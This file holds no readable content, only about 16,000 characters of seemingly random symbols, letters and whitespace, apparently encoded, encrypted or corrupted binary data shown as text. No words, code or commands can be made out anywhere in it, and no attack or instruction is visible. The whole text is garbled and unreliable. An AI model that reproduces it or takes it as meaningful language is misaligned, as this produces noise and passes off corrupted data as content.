# =	S-kB{bICO! &./*6;*1TyRKcF=!O&T3O3
EMNOTd<9';=,!0OINwSl$T*8OEiHiT;1-8!<<=9TyRKcF/6 A,9
R$K B+ 1yU;T"=%SSoeREp-;17<05+<:</&96~OH}AIW	?f M$EA%+&F?&pMdTtO,!,'5*?=%-><-5;:4'7iOIsAK%I-0W
A;6(A!T*&+
# NtS((
T R8=iC~mAK#3:0%2
<"3*cOJPLH"' 4E(O1 6O]' t	!=K9$2[SoeREp!'5):
02-)6+,.160:'=;(4)=.CiIxRH#.K B1
&O+0U2N&?kLKT/
"MH :T(LI-
U-dJN
A<T' (
Ed3i<O2=eS:K0E2I	;!T,
 Sq 	2 N D,f,E&cM,-
$1I]l gIMN DP^TmJFA$X[Z`O5>
yc*
N :T#2K	-0O'F5U:5H
;.KR?*#	Fn_DOTj("?"%&1,&9>&.3+>HAYwTa7 	 +O,O58AtS((
TT">OH9<mDEC
5"!LJJi55 A 
T'
*+%AR9VOf&WCc ?i+O"C
U < 1
%W &T4;=mK
E$5O-O &6O2A5,. T"wI $</LOy.  W #R/K	
A0"&y' 5 i%I
S*E&/T. Oy$-
LD#a)	4O[c.,;UzOEyiSl -=28(6+&>  ,",!"!5%9";;RSdQUd$ 'i)RA!T&M(:!N1H*"GS   &OW{H9/ 	OP wO&6A6 A ,T% K B!1	(y9 I'S=A 8IK	;&"L
Oy0dD0T#
/
7OZfAiH|EfMNZq\M yAB]T 6w	   !T=	O51MN+OD*4 5EA0--	*AU';IT,R $H(-;I7O1!O
i*R2
E6
7  	wO4$	 ,S/C$ Ek]u\+JmU+*7OL f
M2 c(= U':$xHS'IScE#/<
.I 0U:A+
i3O4K c :2A:H:S?
T1

%:S+T! L8O2&- O9'O	$K 6"M-y.2t*";ILK2"O!
;GDDCSnH!%-=&6'02*'dASzOP' i(O$*O (
03 N1H(,)C 
 "ET	'S'I8B+,P 
 'N@1
[KA 3  5
TpMdTtO<#2,<%< (11dOO[wO:H%n. S,/%W
;fM	%O& U3; %kK2"O94	;`O8,L7
c  0
i3/K 6O1;*OwT&
+9S1KpDcCHn&+5$3-/' "TyRKcF*! i.fGoEBF?0;(+=0/(;sHTMiTS1>OeynOS$)-0&"0;#%2IdRINK*,# K%O"i*w 5H;*
  MT
E2H9'?VNOcOUT:< *=.%:KO\ZiS K B** M;3IX^HIT
2=$.'=5&;  .pHT]Hn!m  y &A1[i:
 K	d6hAueUwF ;:*; %: ':7*:1*UEjVID&&S=
T% I-,A6 Ji<'M"B 5O(8O51I' ?0O w*m	I <0OIheWNK?.7&!;"*1,-/=;-!5 :( 3sHTMiT"Ac	4	i+8C
U8O&%'Kf:
 K	d6i8w 1i%-
E3I%-LI;. jH[dLOF-:	 *2$61=$=;<Ji[gOR &	S%kcE;C;!>F@cCIH!:**$:&9)?0)!$aRRSaL$*c
i>T5HZS:kT& 
%C,S%5OL(
<O/A AiEvR3
E d
7*09AI; 
_T.inZT>L<O16
N
A%5\O=3 A' c0wTBT9 $IRK[R0Ow;S:"pO*A-L ,/	.K 6
ci'.-yFB~tHN 6
%7#,9.61'7)OI^ViT#Iy7%BL&T*M7 *0O	,=
U$N=*K:$A'9Hi"O$C8O6N7
W, #Ra  1 wO!8t i. TE%
 '>AIO !O-6LA&)R3B7T3.7[w2T' $CR&R	6H 3H;/T) I 8&AF!L
f 5
	+O,M:y80S-k-IwC&n9I O+O,0EAFHCTfU=(*( ='#10%*	HUj_NS$9CA 8IM =->@I[6*BdBif\$Kd-'= w T1I;# S -E;	I=/$MI# y 	2 N
A,) Ed"O1<>tF"]k%S1
E3I*'m	I,-A1
O	*f"K B--*gAueUwF<1<&!,,1&:'2;;<--$9DHtMnH5=
I y17 N
A;.aC d!;ci+ >
0H%S* [T2E$I$-
,CU5O,*N
A(T% K B!1	(wO&8T2 %CA 8I)8S7O>2BI-O7,d
N; &5RG=	;EA+	&i*w7("ZZF^~cOU <;"+,&'FLT]IH4:5dW,a^eMaL =63, #$2'01ITiVIT ?T6E%H-n.	I6OI 
!Qf'A/YJ 
Jc M<y#:Hi #ScS
3W
(+[gOU@=
Kc d
O#AM	
B+T"!/ wt'"ST&w (S=
T(
U&N!W
gT$
E ',O(8O/1I&$IK &9	AgTbeTmF-"0Z0<>	 'FNyQWI%; ' O	$ B ),MU~CwAI5;Z,:%&4  $"EdOO[wO*,:m L(y<FdMddOP/'<R;77<>fKX[BF5
M-y4sDcSiT
"0X,'$1&;UEjVID+%8
T>R_SOUd %\(-#!/!
 aRRSaL&
'1Oi'48N'gOEyiSl((8@+"3: *>BwUWCO
 ! I
-**H[dLOF%'u-;$' :15?FdOPwF~<;=;S8C	
 cE'S\SakLID($&@-  *+HWSROF&<-JmaEEE <G#$2 ;$  OINwSl$  T  2 n_DOTj ':P6;<'**5+\PNQQAC*(A%+&F)6A$(lEiKSS 9'p04*,,1;nSsQTj" ~CcAI$$]3)(('aRRSaL$	-0O	,F8?sDcSiT
"0X, (&80!18]DHtMnH= wA[dMddOP/'<R;;< 9()*1$cOI}OJ	+O6xHi"T "O 9	i'
9C
U*N- 
-fa

2 ci66A
t<"TXkRTd.96d7=*<6< 1YNCTQUTU*+'T5O K
(
 "nJSOUp %'g7+',,/$20FRI}OU72(n$.
R_SOUd6<!01*;1;5:]JaV[EE%- ;6O95I5#k 7 HE2I;-?IO+0*N D%f Edci08FB~tHN20 5.,0( 1 ;=7OI^ViT
(  U<O1-VHMniTa *!*!:#3'=*>nFdQUp35;TgcCKT7.<2
(-07:%<1 #$>67 ;96~OH}AI  &f
M% +,M ?R{kNTs-;!0<//,:.&+?7+);   %0$38NCTQUT U0N4L fM +O&O(-
U3T5
 $IFS  c#Fi0!?	I y
c 'O 2CM$E	-&O&y
w";S<K
TT0
R 9=/O#AC:1d *O	$	A%O+&uO2=
&.C-">IH*/8	Cy0-D 6
5
Edc&<
8N1H&*
 \SoeREp:,-)6)=$?NCTQUT
,6N )O	$K
-1 U3T' $C
 T'
R	6H;-NOcOUT;;2&8((%!$;!7HM|UEB/7"M&:9T53/K[  c

2`TbeTmF>,0= '6?0,'<>!"<FDtJfU=2 6O&  6U3N&?lEiKSS;3$*4*-NCUwSi*$O= U"!W
	Oi>"cC~cOJ'	-0.<1 ,?TkT]KT=-E2 '<O "C S8++WL 92M$*0O(6O;A
&
&"CT0
R; 'n$.
U70A
!O ;T#O3dc98O2A3-/GC%<T-
R 9H
'/O8I/ cN'	 i>$E A!T"!/ U3N; i.I"\EC	;&"LC
<0A(:T6M$B1*'F U$N$--6S9 mON#w.0$>=&',<2xO05!d?"+(*A!=;!,K$7!)9;O4i%=%5/'t9<6i=I3.! $<1 *<EH:6H:&;cA9:&I,:=y*-3+	.W>>*"%7#oK$)B ;=.?i#
;4w';:!S:7.7T .
R1,(C$S*'.":"+&9:.1m]A7_Ce~oIegHDOOhhdET'5> T''8ITY
;xlwBcjHcS?ALyPO_lkg4Dm 4-
 i[y% T|bISn2=,&<0$=:dOO[wO$('A0c 0FHCTfU*?4+*6>0>.2/*Rw\PTs!S/'CAcE6
?!O> KEiIOR6=* .<:':3.3'=7HM|UEB+d	/
M-y4	=IS( Xc 
9in#I-U'(3P	?)UCgaKB 03&:.! ".')'"7%<4lI^USS(T% w C	;&$Ly
0!O=jR M,
+O" F=
;=I&?$GC8TR 6 E5	
9S= "A 0O"A-N
eT'"dc,y65S=?
KT&O ;C(:T) ?N1*Nl		O'T*O5A* &O-F<2; SgV8ECEVQCXcAWWsYQgAT  0O*A'iH#Q}D \A'*;yU1t'$I0-'$MRc)&5wC&/9I O8&)
O#'4 M$K ""O!yw;H$%
A1'	'nT<	O) 7 !O  D9!a, +c-*,U3N5?(S	  A]T 5	I0%`HXGALN&;=*:94(*#8)%!FDtJfU."A* c%= R{kNTs+&&7=<(!1 &1+;7pHT]Hn:#>

U+
1N(W%'RJfGoEBF !+#9=<$12$,TiNuID"*	2H +OQ>AIS**1@KCkDiS  #4#12> 'HMtXyH=8T;H;*I%?#T "B{bICO!!3'89<<<0!~OH}AI
 L' #R M1
6T;=i+#IX^HIT!'$45 1-$;:TpHT]Hn7'.I#/N;'N	=f_O K'1M'	7O$ 1OEyiSl/7;,7 < ,  <,<, !iOIsAK   0/N'
A(T""
AaSoeMiA;%5+9, !==<<!=536*UEjVID!$!$I/&AdD<'R3=O &&86A&+'DGyTAU';":-$3, !!;>;;*=.7?HU~_Nc&+*O3d T (<O 9 N==9C"w
?,(F@cCIH3'	064" !#19?-+0aRRSaL,7!,F:>1HL n_AICL'<(<30: ,,1OiNpOSC
S= 10W,T5O,* A((-HY]ANS   = YRLSI_RS$i!TLI>.dN(*. KBO- M:+2t S, ?T'
	>H!8Zm( I 8"A
-O  %< $K 05 My6T=;?CA/
R>H!8m  I- U'dJnXLROJ#,+%2_GdOPwF~$4
 5Sk
  c	;	I ''?  
U<U7d
Ji7)
M5
	 NA4  1
+y9A: '9C
  ,AUI]HID<: ('QXNCTQUT 10W*4Oa%cM/5
U3N&?$IT;"E>I-" L
I*	1!L-
(/AM	%c=6O2;H=.S  "E6HH(-;I O: 3A+D,T'O 	*c%F+% =]n_AICL'<(<30BPpHT]Hn4"T( Oy1%  A ,f.K
dc90>T'i.7
R6 S*T)yA7 '
L A!hoK!
! *O(0wtS9, S Iw
H,< $AXYWI
UFi_U37 LD:*a!O*%0O8=-k C 7R>MH OAC + U 4L  /$KE+T%,F=U4 =(	"_T w=n9	O *
&A!&T6M(Ed7 CnJSOUp5&=/:,yElI^USS*(%I?/?C O5
U0 >W
 ?5AMEd*O ,wt(S)_Tc#	;`HXGALN7!&;4
0EtFNyQWI8
(#Ra7-,F*;=I!$I,;
R*Ow i(LAAU-yNAuAE@_AUK75  LB+ &F8U1 ==kS*9IH n"A O4&OO'/3KE3! ,OF7 : tSk.
2H H$* T$L
 Oy ,A!OD f 5A"'c	'0 6ZsDcSiT!*%4'>BLdOO[wO-;=m	S5U'1 &#R(Ed"i,
#N;(.GC'T$w,S*
m
y N!
A?2mK
E '.
=y$ 5DI(.Sc	-	i;
9L+
[dMddOP:$&/#+vKHM|UEB3! ,O,- U9 T= *I Tc#I%8 "AC5
"ONWO: )R d0%##N3 S?'KR5w#  :/ cF@cCIH6?<0-''#,#7FDtJfU,(B1T,O;4U2-T$S*"A&
w()jMfICN<0?,! <'>8)HAYwTa!
$
 dc*08A
t
";NOaSTF3& ';37/*$TnRJmF* Oy 	2TKCkDiS7#(?: :5.7&"AyRKwF=8&*IS' R>H;4#KEiIOR$&!>:01' *2CiIxRH>"6T0M/5
OpMdTtO>! '6+21&(6ScRLEp!-nG> L/79O5 U0N*
  oUCgaKB20(*+&?%#,pASJtO-;?SoeREp?;*<,;$jAQWCN:y)!A!Wif$LIoBAc8&
;(5;%pASJtO< (S/7;S T7>H C +HXGALN%=?*;<!dASzOP D!5OEB#12[cC~cOJ2	0%3:StUWSn#$
S\2[2?HB{bICO'021?NCTQUTc':OL<2(i\ &?>hLIoBAc) 0=5
&#FNIjHN&:kK*w /O21KEiIOR5?*2+HWSROF*&#R$ BIF2?WnJSOUp':$8( TkT]KT$ 4  w@:J.#tHXGALN%=?*7=Rc\PdH3
&?RG>h-15XFheTcH+6;01*=OINwSl-
:O :	'/USakLID/;%, ;$-&8 3 *CiIxRH.. - &O+6y6=TeykID85 1-7!< < ,&<HTp_LN *,d<1:<O(/ LIoBAc) 0.(*6(!:.(:&,DKNJAU8"O
9  
T5<IO57 IheWNK<'0+=!#(1,-/)5
#8#~OHiAI85H
'.R';"EI	%'jMfICN)!#;01*=(9>&5%8UOPKB)A && O2&	(SC! yOEiHiT;$5)$3-&',!"(:-;+KO\ZiS
O	( 6T7
 9	+2 N;IS8
&AR32 *nm 	8,jH[dLOF"$0="8 BB\zOS	.
0R{kNTs.=#!>0.!+-08&<6:< < < <Sm\RID*:U0N1N* ) M1E 2"i5O"N:'eI T0R*Hi +7
U,
/ N 0Xf34	B!T*,+ 'tS9$
 \SoeREp.=3*<<1>);1&=*;<! #HWSROF,&2R M1A;$c'F/>SxbISn59!9<#27&* 7:66;!.'FLT]IH;4
U6*NO:1	a-15B+T5 0HY]ANS<91<:&9,13 ;0<*+*&;TnRJmF C:1N* N	=fO.Ed7  #> t/( A1O4?iC~mAK/79-'<<0>+=8<3:/7$==9/BE__dH'3*7{Ati .T'&$cw&:T$Ly,!W
O;% 8K#12OcC~cOJ2	-'6=17%1,&3*!1/&ScRLEpNS:nmI 5 S$UcC}NLH'06=8>9:) -*& ?nFdQUp2TI,"
 R-O%OeynOS'89<' * 
'GdASzOP' O&T5$Ed-O	 ) 2A
8H-'C;;$A!']^E&  S  mI7
77WO;# O>?5KEMNOTd<+6!:':$;<#<=DKNJAU=/O8H?<O')LO7-d 
 (O>?5BNkdOS)99=:&1!-;TiNuID%R7
2HC( =?L:%=?U+7IheWNK<'0+  #461#3&:0) 4~OHiAI01 S/9
TT3
 8H( = 8I6HYIANc<1:<-3+' 0(9*7=/.7 *>AyRKwF"t ,?ST&#IH' O,L #9*W	*#a B ''
?~CwAI'<9,
<%'%'+4"8.6BwUWCO > > O+"dJI@eADn' &?2*+1="*5*2/HUj_NS: "
T "E;	I;-?LLNCSyH 
L< #ILR_DnR*T.CHXIOMn%!3&1!7/'1&486&>&=#7BwUWCO!(L
I<,d)#>KCkDiS&!2# &)FdRJcH;,0	4 IX^HIT'61. 15UT~QRB & :SakLID+;;,*&':,8 KO\ZiS K	B+& 	7
U5>SxbISn1'<?6'5!2?1*OI^ViT
9 LI7
0*
W=*;1Ce~fRH/%:"-5< =9nFdQUp3; **NOaSTF0 0  :0DHtMnH&$HYyyOR( 0#;"*FDtJfU=&	B*O&(5pMdTtO$:,1&(, (?1dOO[wO=9n#CU*
6+TKCkDiS3723 &=5"1dOPwF~;:T9	  $IS6
9SDDCSnH'"#'':0%60&$>cOJPLH*(M1E 7$&AueUwF+, :(0, /. SAOJcH7#
H/"
SakLID+;;,
;45IdRINK. a^eMaL =63, 
!*nFdQUp$ &	&.I
S ,H^owHN''=;+-#:&6*-'.6FNyQWI" D*/3E7c	'*6A:iN ,EI
i!"F@cCIH'6
;4 -+!">KO\ZiS(d
T3 0R{kNTs*==!'*%   >8=UEjVID-:)m I 8"A
-O  %< $LIoBAc- 0.#! FNIjHN#<" TXkRTd-&+; 7-6iOIsAK?
yc+A ,faFheTcH/(<<$,1sHTMiT Ac<H-"O 8L
 R_SOUd6/!> +<FDtJfU.7B-O0(0 2FB~tHN6!;<$074 1HRXiHN0iO(

yc6 KCkDiS&*,?-:/. *ScRSiA 6 I =*TXkRTd<& $=+7!HTp_LN% S;8A
%O;fM7 0 *O,~CwAI1:6='(<!#'>4=*UEjVID!%S((AIS,U",O+4SjxOMf.77=(
95&),	<* ='';7nSvWCL?A0
%I
:< ,AC-U,AH fM"0 SoeMiA?&1/'?&!TkT]KT$ 4  wT/% IG+O*d%'=EHMniTa;!; ',!='#1'("=*'('<6)!NCVMTF;3 >
 i>?L I	<OP0A!WO= 3 Ca: %OO(F)#NWqI,kS*
w C
(%mCU6,+OLT aCd-O&F*$T:i/I,EyMOHgV=_EaABLWMEAjON=fM  A0 7M8<>A8I,'Cc#	i'O?$]~CcAI!!/ &%;=
70%*! 0FdRJcH$'<6:I&k R&R>C S/% EO+cDhO
iQ5\O,2%ci:>1HU$M.ULJA1%I
H/"
T)L
0 U'N&A:( M-15NA+O2?M y3  S-k
  .
8H+
(' T(A 	8O+N(
WD-+(B+*&=8AT%%k
 &O ;C('m&	  y- 
4OL.
,'R-" BNd.&
(F
 8OIX^HIT =(/"7+';80: ,,17&;= >=DIRKS~&70D'(R-B!T%,F=U6= eS;TDXc $CM:]n&mC0,A
-OiR,
dcy	;N\2i$CT0E9H,n
9
SwJoA@aG_@OOA}P5B]LKB (-M/5
U'1
;kXc "C&!O"Uy,%@L.(f.
B-O 6 F($T2i9 R&w:n?[S*6LD:'   E^)Q@$Xy%&Ii"KA >Ii/8Ly<31Bd W(8?A'T+-A T7: <:  ;H+'9 KT*	6H
i+O"I *-N' '' M K(
T1&-2A 8S9, 
S3 *  w* <nm U186NkO6	
i') CfGoEBF?0;(..13ITiVITk
*E"C,=#L7"A
-O6	
i?/5
BIx"M d3 y:$]-S]'	]AhTbeTmF99'(;0, !
"+cOJPLH2i)&B-O7 #2A9iNT5
 >H-=# Oy.&%O<(2\O!$K - *O;:
2t;)T&E$=+OmCO7O"*N&2oLIoBAc:$.99#;6ITiVIT*
T dCxEwO<3,'093) -/ RSdQUd,#A') ;
FheTcH##<:$&18" nSvWCL;R*9Ii' "AI+
U27N$( Ra' d*i,
#TSxbISn"        dOO[wO.-n=DEeUS~,45);>:8 6+?aRRSaL+
A60iy	%T2	 %LT" E& BOeynOS.-; !&#6
,9
"%*%+KO\ZiS4E,* M;5
6Zt+**ITcE>3!mI ,,dL+#CfGoEBF '=(2=4(!: :&&?:+$< (<3dOO[wO8	%!mC	0 "A
+NA 4(
ZB"( M80O2N1H  =>
Ac8&+O(L4[dMddOP'+!.6+=<9.77-3HT~QMn/>% N5H."Kc;I;<SakLID=&86<05'
($1$*-4nT{LOJ  %O/O  0w NGtS;(S 1R$)1MH#
9 L I *,Ad^GN
D<U
5*
T3F/
8Xt <"IKFTT1 !I;<T+-1MI?/U. -NYCA	(5aZEM*OO'F<8T0I(? @[T0
R8
<nT?S<,d.=/4AFHCTfU<9*)1*>	 00%*	HUj_NS-k oO
;I
H?= ,
Iy ,A*i=R5d'
,F0U$t &S*C7 9C,n= ]y; 7dL;f 
B!' #>AT"(%CR"O'7H;`O=!AI/
c2
W	,T*.H$K !O&M?*61HA<8KA- 
;i/T9I_y-A
%OL A (T(DoLIoBAc=1. 9&921<$9TiNuID9-RK? , =CT:G >CU3	jL
AJ<# A/E0
6i<F7   kT/3U $  
Zm(L

U<,d 
( /R/K>F! & 	7
UyzH S'& CA/
R2&S<?
y "
+O T5O=4jHXIOMn4<!3++-;>   ,% +)78HRXiHN"9'm	I0"+N
D/*OE,
E+-/dc&+#T0 S/'JKR,E$i+?
U5O,*N
D+%oK#- "O&
6O8N&?k#3*SA8$AR+8I'	' ,AC>6cI>?W A/4O4A"9'5GZsDcSiT179275-8
<&BwUWCO"
T) L+
RokNdH268= '+
;<9# )2FdRJcH$'<$T!I,(TT% wiO- (_
\:m #SXZifM, +O+
%F: 2AR;M *\^O$S]8]H:n #L
[S
 ,Ad		O;// dT2:6O; ;H;*S 7E$I:!AT 

S/7N4
N	(4O4
BI4'
 0~OIX^HIT8Z<">$.  dOO[wO &:T) L(y<FdMddOP/'<R;=>*2? 5SFdRJcH.&7
#N0H((	$C8@SMxTcH3.[6"+
6<Sm\RID*/
U'N%Ce~fRH,
8V:1$=1HMtXyH6?1H..L_~ARS$!V+&-&0HTp_LN -c 
d. DGa^eMaL$.1R,5,(AyRKwF/:(S"  ,B{bICO8\+(8%&6<!6	]Rc\PdH$ 
&'Ra
B1&M89A=GsDcSiT
"0X,641?;UEjVID*<%
 jMfICN.> j09
2: 9:)!57nT{LOJ  d-'-R{kNTs)" z, 7'6+2&1\UEjVID;,+"I5H:5dN; ' 
JmaEEE <G)""=&pASJtO*;.TXkRTd.96d7/*$ iOIsAK/

U0O1-KCkDiS9<^?,1.$< ?YnFdQUp(;3$KA1KyFNObiSi.?R3-,6!:',92+cOJPLH/'T%% B1
7M/7
#T9;k CR1!Ii/8L6O.6HMniTa3$>r41,6-0'*=|AyRKwF"(s&?RO
:(/HXGALN""<F,;;3+ 6*KO\ZiS3B*-0;~CwAI#''459<;2 )@ScRLEp, *!m  y)!A6OLD%f$
d-O&+' 1H%kR&R2I&S= "F@cCIH4!'<$1 &%+/;.6SfOQMf/0 :O	,5U6= In_AICL!1-=5037  5-TnRJmF>  8HYIANc,8 *&&;=!)9)7*52=+&9#~OHiAI6& ,k
K7  w;/78n_DOTj$>;<*  ?0;51?2 3.3'=70= 91BB\zOS
&*>T5;k KT'
	6H=n!0N/cDdL D%2 EE3-	 M*<O;A8I:8GST/
>
 i/T>O;Oc*OL?fM4E6
7 0F+
6A&	 %
	R"O%Di+ ? U)
7
OD8' E0c:+> t& ?
S T7E?Fn_DOTj3)'"$**5#0FNyQWI>$(Oa	A T  />6:I,kR1wT+ ?  
R_SOUd#:
0$&#8>" :-;8.BE__dH9,;y -=H(1S\c
2
An_DOTj3):7&=0,	*'(=&8 ?HAYwTa 3%O&O<6-=i. CUXIORB)9!-<*Sm\RID*<"A1L$f
-7B 6* ,AueUwF45*,5!6+.?$FRI}OU12H-n
$
U,*Ad		OD%f5		A!0'0O8tS-9 R,EI$<7 C"*1N4Oi53 E=c ?6O>A7gS&-Kc#Ii;$A
 OS:7(
W&)R-9B'5i0O6$FI:i"KTT  2H,'#  CU,
7 N" %2M$+E7- M,*
2A7;? MKO -L$<,-2 < *Um09,0= U#;'#,O2"%"(*&R)$.E B"= #!F'0w/!:t)9#!,-,<:.R5O&0H:*<]n:'3)I &!U6
;',/d,6;8*-%gT&;$*+!-A:1;,i !/. 5!=S C* '4?1c 5+H;&;< <5(  7U6y 7-'.-'#!$Ju[5/[BNkmT~IfBcLSfU}A:5("K  $R8Id#e}mKf`CCO58Uc 6deOKKC}6   EF60=6*'1 HTS(9K[~ARS:&*'-&'TnRJmF!O- -N()UCgaKB 03!;0,,	.*("1sHTMiTI,OIi#O? O?#HYIANc*%<3,.6!&0,(-,4$cOI}OJF??;Hi9A7E4$'aA6O6A7O% 'a7O,O;,8FB~tHN6! -=28(6+=1->,<$=	HTp_LN,I	1
1N 
W?f$ E0c;6>XtS, ?S  "
w, nm  ]y<c dO/M%E1-(F: $ 1I$S&0O4 
& bO"L S:
7-AD-fa  6$ i6$At !"SR" $HH(?;LA 00A+WL$f  $K E0
0,yAP$MNZqYBeSeLQO DSF\EC(!T.
<B&A
!O ;!M}[]k
}O'0w< & k
R';"IwC.#nmIS--!i6/3EA2
*	8<O"Nt(#CA %C&<
=I y.  , N
; ' aE-M+w"$ i.I0E3I",,T OZS&d<AFHCTfU*?4,+4 &0#"/HUj_NS'S"dCxEwO*,=7 ;+3)(7,01:HU~_Nc!O T6 A'"M(F)# NQ'OEyiSl*,>?0/&+=;17/*$TnRJmF"O0O, O ;4RJaA!1(H~CwAI#''459<#<'5UT~QRBH&n?IO+'d)#>L&42LIoBAc8&!* ?*2+&sHTMiTSR7-	i;O,B*c':O  , )HAKKEB53!3)99	.!PITiVIT9T*>	C.#n. UU,A
-&T(a!HXIOMn ?*   +;6'6'"!SAOJcH<I S> >O0cN  fWJmaEEE'?+* "=*.:+: '1,DKNJAU:E1 C& =; I-1A1OD<f$+O &&>N;I,& R&O4 	n_DOTj2*=36;0>	+<> ;(9>&5%8UOPKB++O,M9	*t&?SR1wC +C
6+OO;/EA!1(AueUwF( 7*<?'74&$-=5HRXiHN-n	$A<U&-NIFHCTfU;%%"6=).0=Ji[gOR5I<kT&R8
H&S(I(  -7FBNOWI8'(*'B^JaV[EE.d$ =+U9tS<k ,\EI(S(
? U<O;%Э A ,T' (
LAO-(
8%A;(.Sc	w** T)Oy	 	-N
A;3a
E)
7 M-ytS:,
ZdCxEwO=+!40D~FLT]IH:S(%N	T*5

B!c' 0 % ӗS-kS *yH*&S:aAO U% ' A ,T2oLIoBAc;<
!*9i[Rw\PTs,,S/"R w(n m	I	1
1dN )R 
B'?T- M$	= U3N &	 /9 R6*%MH/8Iy  Wf
 EB)O1 6O2A i.IE4$'mLS7U10ƧhUCgaKB1*(
('_XnFdQUp$;I&S(  T,O#I=Om	ȶN7L(+$K%0O&y%"	S-kG0OwF 'AT	C71A1
W'5R
 a	+CT&&y[EcATaXYS9/K.
2Hi! "U="
+OL	!/  a
 d-&8$ON:SkCT%H(:
,LI*O*!Oi)	&ƇoO&(w;H-kS $ 
w	in8A AR_SOUd5&!0=3_WCiIxRH"a 	07O<*#T2
,9K R5
yH:H' T9IU<&dND,2M%E6c$F08MNS*%
OUXIORB  -/,~XSm\RID=
8U10A('RM9)E)1;8O2At	#&T"-
EH,+!@IIv@DmS@wACA;'
DaA(
"M(F,w<	I(S9
wIH:;O$	I<A N	;T'R	/
 6AT
&FU95IiI R6
R
wH:<)II U 6	4 !O4#?O'/,EBIhAdH &#5_MpASJtO-?kSA  9ϊ!O#	C
U-*6O
A&2$EE$B%1i6U'8:S;S T&6OH&n	. S: 7*@O$4
%A' ,O:<O85S/%

OUXIORB  -/,~VSm\RID,y;dO	9/M0 E- "O$F)55H=?]TT6R2H9*L 6O&6
W
A(M.K.
71CnJSOUp"";-6? 4=!$+SAOJcH1	>H(;T"L S<6c6W		;T#a  #
dCgiF~<0$- );0:,DKNJAU'&>i#O? Oy%OL<' LIoBAc.& '$#)<$ITiVIT(Ac "Rn_DOTj2)%&*;*6;'": 9ILR_Dn'#
(A1T.=	= U3N,ԈL_~ARS=;17=,7:*'jAQWCN*+
&N!W	 )UJmaEEE6& 0%$&1pASJtO!9 S\1O41H'=O(A ,HIheWNK83-16&?(1);FdRJcH) <:  1OEyiSl>1"'1>4 HRXiHN6(n) AO= cd	
&a^eMaL27+50';=nFdQUp4&H:5#kT,R
$H
!'>F@cCIH3'	0=2:cOJPLH/$f M2+Tk<D2	UR{kNTs.=##;7LSI_RS  6HA0A'USakLID/;%,;%FNyQWI9 i2"O.	 B2#Tk)95pHY]ANS<9,2:*=6SAOJcH'6I.-n?>IS;%dMddOP(8?>11UOPKB+!O&O=56t@:Z'SDGyTAU2?-5;:DHtMnH$,B*cI=m)#>VHMniTa4;=/,7EAyQTd+;-%T|;@5#qNOaSTF4 0& 8-*:nSsQTj%0 U74 sSjxOMf-15="!:,9 )0:FNIjHN? *ĨA4 O#	,'jMfICN<3'	06/ ,#'#!>+SfOQMf',O>2	O$1 *NOaSTF4 01*&, < < 02( <1,HUNgORA-ˬi2"O 
FheTcH>2	06/ 1< <,(*'&&$UT~QRBH
("A?/79O56FBNOWI*;1;1"+$427+5-8HMtXyH:w1;$I 
wH9<>IS<1%APBfOAC -;(;!,0>!#&9$*Rw\PTs'I .R &
%&S "AI40+OL
;2AME 2 c;?"N'H;"\SoeREp.=37!8'FLT]IH;/
"IheWNK)54&	%<(4)'.>!'=8
2 ;FNIjHN0%:KR*
i/mS7
&ON
A$T	9O E(
* (y
$N=9 GS7 &w	i, 9 II:
**@KCkDiS &?/$26'3*& ?.<! #1sHTMiTSR,wC,8"L/79O//
+PBfOAC 0="8 7=$=;08#?42ITiVIT&CT/3C<S>,N <O31N- &a^eMaL#12# #*?#=:> ;+*6 lI^USS.R*
im 
U,OdL$5$E-&,y% N7;S*ISMxTcH41*;,?6013#;<<!&&	?:5+ HWSROF((#,IB%T,O,y%;I5#kT,wI: !O,	 S=
U'!i2"AJmaEEE'?6 :#09-138(!=NCVMTFT7T5C$S ; OTR_SOUd':-%!;<$68>0(9*7EAyQTd &+
 wT1n_AICL 25"+ -6 [DHtMnH;m	C
01A!W D=+R M,+O$?M5]Ywt:,
A R8<n* II/,7O$(8?OCe~fRH>?5:,.) 0>6	 'FNIjHN<i .C,R6 In?I8Ҁ7O$(8?FHCTfU<+;:20.
(+<(AyRKwF 9I,S>
 1Ow	?/B,C:)!#y 6
HMniTa!)9427-/0'.?/(*(<StUWSn7.K 
 E"I 	$ m y  PBfOAC2"-?<6 0>=&=2),62=StUWSn<k
 * RC1=mIS-
c6:T5	" 7O"i:
2Ntn_AICL 25"+  ')&=<=?.0jAQWCN!6O,N4 %T# E@FheTcH>2	06/:+:,26-*9TT\LTd!8Hi!I8U,A
-&TcHAKKEB7(i=;;Ji[gORqO&	 	o?RDGyTAU7!4,7<*7'-&6?,16;<'*Rc\PdH9
-4Ra/* i ?R{kNTs*==0,  TT\LTd9>  	;TbeTmF.=-6=0 ;Rc\PdH% Ce~fRH/%:1'2) ,"AyRKwF:'i?"ԷT;"B{bICO' 0 28:%=?6<HU~_Nc;D!ʂ
E1'?SoeMiA;;&! ;=2'lI^USS3,	DDCSnH6/3;&==,TyRKcF:!O?+$LIoBAc)=*23*Rw\PTs):.IF^~cOU(&6&00;= $KI^WOR'<,A A ,T#

4¦~HXIOMn+7*9+7< >TkT]KT ,O i+O5άcHYIANc<2-#!%7$ 0>.5BB\zOS0

<= wt :lEiKSS$* .11. /-TnRJmF)y	 	-KCkDiS&!2?$76FdRJcH$':%FB~tHN6'( ?::&UT~QRBH;'SakLID- *=;* -!*(+4;3%
 aRRSaL+d	 i*w1S,:AT&6Π&S+ $	CU,,FBNOWI>*207
7.#;BE__dH&&(+tI? ;
TXkRTd-&+:<-! .8$>NCTQUT %WL&=*3LIoBAc- 0.#! FNIjHN? ;L_~ARS;<:!=&.TnRJmF:  yU3 0
W (f M2E0
SoeMiA;;2' *,TiNuID=1OE'	i*#8O,A!WCe~fRH: 9+,,&HT~QMn'/8N1H,=*ĨF^~cOU :&170:&%KI^WOR<: 1dN	nXLROJ? $.509+(nFdQUp,;H;"L_~ARS;7$<!<=?iOIsAK/

+ U5#ON ;4R2K07
i6O>SxbISn6;<%< >3+	?!:!%&OiNpOSA
  
6OdNA;3a!56EMNOTd*?9!#-'0"9 #
:0<<&%UT~QRBH(<Y= I y	1'
N	T/3 A+T,O;,8A S*9SoeREp"9072<#3(NCTQUT	"%BD-f34
BI4"O 1
%T8:Zn_AICL::738
+-#$,< 2
*&.*/0,;*)=:dASzOP Df 2d1i	y	4	&IV:S;
S 6Kw-	iOmOOP'A
+OO 8/ M%E4ci< %  	I<k
 c
E: " m
*O]%,
A&fO $
B+c
M,-
$'HGV:_kGFCEMRZf[VgZ`]n??A
U<*5C
A ,T7
M5E  c
=*O>= i*I  R"wH&S&AR_SOUd( .;'(0'-1:*,.7BB\zOS ,?N:%/CT+
8HH(?;@IyJoA
!' )RJoK5
